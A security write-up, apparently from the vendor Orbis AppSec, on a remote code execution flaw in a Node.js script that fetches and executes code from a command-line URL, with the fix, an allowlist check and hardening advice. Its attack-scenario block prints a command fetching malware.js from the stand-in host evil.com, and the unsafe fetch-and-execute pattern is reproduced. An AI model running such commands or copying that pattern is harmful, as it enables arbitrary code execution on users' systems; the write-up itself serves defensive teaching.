How Remote Code Execution Happens in Node.js remote-run.js and How to Fix It
The Attack That Could Compromise Any System
In the Orbis AppSec security audit, we discovered a critical remote code execution vulnerability in utils/remote-run.js that could allow attackers to execute arbitrary JavaScript code on any system where this script is run. The vulnerability is deceptively simple yet devastatingly powerful: the script blindly fetches JavaScript code from any URL provided as a command-line argument and executes it without any validation, integrity checks, or sandboxing.
This isn't a theoretical risk—it's an immediately exploitable vulnerability affecting any downstream consumers of this package. An attacker could invoke the script with a malicious URL, and the entire system would be compromised.
Understanding the Vulnerability
The Vulnerable Code Pattern
Let's examine the original code in utils/remote-run.js:
fetch(process.argv[2])
.then(resp => resp.text())
.then(code => {
code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
// code is then executed...
})
This code has a critical flaw: it takes the second command-line argument (process.argv[2])—a URL provided by the user—and immediately fetches whatever content exists at that URL. The script then executes that content as JavaScript code without asking a single question:
- Is this URL from a trusted source?
- Has this code been tampered with?
- Should this code even be allowed to run?
The answer to all three is "no" in the original code.
The Attack Scenario
An attacker could exploit this vulnerability like this:
# Attacker runs:
node utils/remote-run.js https://evil.com/malware.js
# The script fetches and executes arbitrary code from evil.com
# The attacker's malicious JavaScript runs with full Node.js capabilities:
# - Read/write files on the system
# - Make network requests
# - Execute system commands via child_process
# - Steal environment variables containing secrets
# - Compromise the entire application
For a library distributed via npm, this is catastrophic. Every consumer of this package becomes a potential attack target. An attacker could even compromise the application's CI/CD pipeline by injecting this script into build processes.
Why This Matters: The Real-World Impact
This vulnerability violates the principle of code origin verification. When you execute code, you must verify:
- Source authenticity: Is this code from where I think it's from?
- Code integrity: Has it been modified in transit?
- Authorization: Should this code be allowed to run?
The original remote-run.js skips all three checks. It's like opening your front door and letting anyone inside without checking who they are.
The Fix: URL Whitelist Validation
The fix implements a critical security control: trusted base URL validation. Here's what changed:
Before (Vulnerable):
fetch(process.argv[2])
.then(resp => resp.text())
.then(code => {
code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
// ... execution happens
})
After (Secure):
const targetURL = process.argv[2]?.trim(),
trustedBaseURL = 'https://cdn.jsdelivr.net/gh/adamlui/'
if (!targetURL || !targetURL.toLowerCase().startsWith(trustedBaseURL)) {
console.error(`Error: URL must start w/ a trusted string (${trustedBaseURL})`)
process.exit(1)
}
fetch(targetURL)
.then(resp => resp.text())
.then(code => {
code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
// ... execution happens
})
What This Fix Does
The fix introduces three critical security improvements:
-
URL Validation (Line 10): The code checks that the URL starts with
https://cdn.jsdelivr.net/gh/adamlui/. This ensures code can only be fetched from a trusted, controlled source. -
Explicit Rejection (Lines 11-13): If the URL doesn't match the whitelist, the script prints an error message and exits with code 1, preventing any code execution.
-
Safe String Operations: Using
.toLowerCase()and.startsWith()prevents case-sensitivity bypasses and ensures consistent validation.
Why This Approach Works
By restricting execution to code hosted on https://cdn.jsdelivr.net/gh/adamlui/, the attack surface is dramatically reduced:
- Attacker cannot inject arbitrary URLs: Even if they compromise the application, they can't point the script to their malicious server
- Trusted CDN: jsDelivr is a widely-used, reputable CDN with security monitoring
- Repository control: Code must be in the adamlui GitHub repository, which has access controls and audit trails
- HTTPS enforcement: All code is transmitted over encrypted connections
Prevention & Best Practices
For Similar Code in Your Projects
If you have code that fetches and executes remote code, apply these principles:
- Implement URL Whitelisting: Maintain an explicit list of trusted domains. Use
.startsWith()or URL parsing libraries to validate against this list.
```javascript
const TRUSTED_ORIGINS = [
'https://cdn.example.com/trusted/',
'https://github.com/myorg/scripts/raw/'
]
const isTrusted = TRUSTED_ORIGINS.some(origin =>
url.toLowerCase().startsWith(origin)
)
```
-
Never Trust User Input for Code Execution: Even if the input comes from an environment variable or config file, validate it against a whitelist.
-
Use Sandboxing: Consider using Node.js worker threads or separate processes with restricted permissions to isolate executed code.
-
Implement Integrity Checking: Use cryptographic hashes (SHA-256) to verify code hasn't been tampered with:
javascript
const crypto = require('crypto')
const expectedHash = 'abc123...' // pre-computed hash
const actualHash = crypto.createHash('sha256')
.update(code)
.digest('hex')
if (actualHash !== expectedHash) throw new Error('Hash mismatch')
- Use Static Analysis: Tools like Semgrep can detect dangerous patterns like
eval(),Function(), orfetch()followed by code execution.
OWASP & CWE References
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- OWASP A03:2021: Injection
How Orbis AppSec Detected This
Source: Command-line argument process.argv[2] containing a URL supplied by the user
Sink: The fetch(process.argv[2]) call in utils/remote-run.js:10 that retrieves code from an untrusted source, followed by code execution
Missing Control: No validation that the URL originates from a trusted source; no integrity verification; no sandboxing
CWE: CWE-94 (Improper Control of Generation of Code)
Fix: Validate that the target URL starts with the trusted base URL https://cdn.jsdelivr.net/gh/adamlui/ before fetching and executing any code
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Key Takeaways
- Never execute code from user-supplied URLs without whitelist validation: The
remote-run.jsvulnerability demonstrates why this is critical - URL whitelisting is essential but not sufficient alone: Combine it with integrity checks, sandboxing, and minimal privilege execution
- Static analysis catches these patterns: Tools can identify dangerous
fetch()→ execution flows before they reach production - Trusted CDN hosting adds a layer of defense: By restricting to
cdn.jsdelivr.net/gh/adamlui/, you inherit GitHub's and jsDelivr's security controls - Always validate command-line arguments: Even though
process.argvseems like a "trusted" source, it's controlled by whoever invokes the script
Conclusion
The remote code execution vulnerability in utils/remote-run.js is a stark reminder that code execution is the most dangerous operation in any programming language. When you execute code, you must verify its origin and integrity.
The fix—implementing URL whitelist validation—is elegant and effective. It reduces the attack surface from "any URL on the internet" to "only URLs from a trusted source." This is a pattern you should apply to any code that fetches and executes remote content.
If you maintain a library that runs user-supplied code in any form, audit your code immediately for similar vulnerabilities. Use static analysis tools, implement whitelisting, and consider sandboxing. Your users' security depends on it.